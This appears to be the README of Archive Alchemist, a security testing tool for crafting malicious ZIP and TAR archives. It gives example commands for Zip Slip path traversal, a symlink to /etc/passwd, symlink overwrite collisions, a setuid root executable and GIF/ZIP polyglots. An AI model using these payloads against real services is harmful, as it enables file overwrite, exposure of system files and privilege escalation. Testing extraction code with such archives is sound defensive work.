Archive Alchemist
July 24, 2025 ยท View on GitHub
Archive Alchemist is a tool for creating specially crafted archives to test extraction vulnerabilities.

Features
- Create ZIP and TAR archives with malicious patterns
- Support for path traversal attacks
- Support for symlinks and hardlinks
- Ability to set special permission bits (setuid, setgid, sticky bit)
- Fine-grained control over file attributes (mode, uid, gid, mtime)
- Multiple manipulation commands: add, replace, append, modify
- Multiple helper commands: extract, list, read
- Create polyglot files (prepend archive with data + adjust headers)
Installation
# Clone the repository
git clone https://github.com/avlidienbrunn/archivealchemist.git
cd archivealchemist
# Make the script executable
chmod +x archive-alchemist.py
# Optional: create a symlink to use globally
sudo ln -s $(pwd)/archive-alchemist.py /usr/local/bin/archive-alchemist
Usage
See Documentation
Tips
Suggested working directory setup
The most convenient way to test multiple payloads/tests for an archive is to use a local working directory and the replace command with --content-directory flag to "sync" the local directory to the archive:
- Extract into working directory:
./archive-alchemist.py target.zip extract -o workingdir/ - Make changes to file(s) in
workingdir/ - Build archive from working directory:
./archive-alchemist.py target_poc.zip replace --content-directory workingdir/ "" - Test using
target_poc.zip - GOTO #2
Blind detect symlink support
If you know that the target service uses bla/file.json, you can:
- Extract into working directory:
./archive-alchemist.py target.zip extract -o workingdir/ - Copy
workingdir/bla/file.jsontoworkingdir/bla/file2.json - Build archive from working directory:
./archive-alchemist.py target_poc.zip add --content-directory workingdir/ "" - Change
bla/file.jsonto a symlink tobla/file2.json:./archive-alchemist.py target_poc.zip replace --symlink file2.json "bla/file.json" - Test using
target_poc.zip. If it works normally, the target likely supports symlinks!
Blind detect path traversal support
If you know that the target service uses bla/file.json, you can:
- Extract into working directory:
./archive-alchemist.py target.zip extract -o workingdir/ - Copy
workingdir/bla/file.jsontoworkingdir/bla/blu/file.json - Build archive from working directory:
./archive-alchemist.py target_poc.zip add --content-directory workingdir/ "" - Add
bla/blu/../file.jsonto the archive:./archive-alchemist.py target_poc.zip add --content-file "workingdir/bla/blu/file.json" "bla/blu/../file.json" - Test using
target_poc.zip. If it works normally, the target likely supports path traversal! (Although there might be additional checks to make sure that you dont traverse outside of the target directory)
Blind detect absolute path support
I havent really come up with a good generic way to test for this, but you could try changing some/file.txt to /proc/self/cwd/some/file.txt, and see if that works. Relying on proc filesystem and hoping that its cwd is the same as the extraction directory is not ideal, but its something.
Examples for Security Testing
Zip Slip Attack
# Create a zip with path traversal payload
./archive-alchemist.py zipslip.zip add "../../../tmp/evil.txt" --content "I escaped the extraction directory!"
Symlink Attack
# Create a tar with a symlink pointing to a sensitive file
./archive-alchemist.py symlink_attack.tar -t tar add .bashrc --symlink "/etc/passwd"
File Collisions with Symlinks
# First add a symlink
./archive-alchemist.py collision.tar -t tar add config.txt --symlink "/tmp/target.txt"
# Then add a regular file with the same name (will be extracted last)
./archive-alchemist.py collision.tar -t tar add config.txt --content "Overwrite after symlink is created"
Setuid Executable
# Create a setuid executable
./archive-alchemist.py setuid_attack.tar -t tar add exploit --content "#!/bin/sh\nwhoami" --mode 0755 --setuid --uid 0
Polyglot File
# Create a file that's a valid ZIP and starts with GIF magic bytes
./archive-alchemist.py polyglot.gif add payload.txt --content "hello there"
./archive-alchemist.py polyglot.gif polyglot --content "GIF89aI am totally a GIF file"
Unicode Path vs file name confusion
# Create a zip that has file.txt in local file header and notfile.txt in Unicode Path extra field
./archive-alchemist.py weird.zip add file.txt --content "hello there" --unicodepath notfile.txt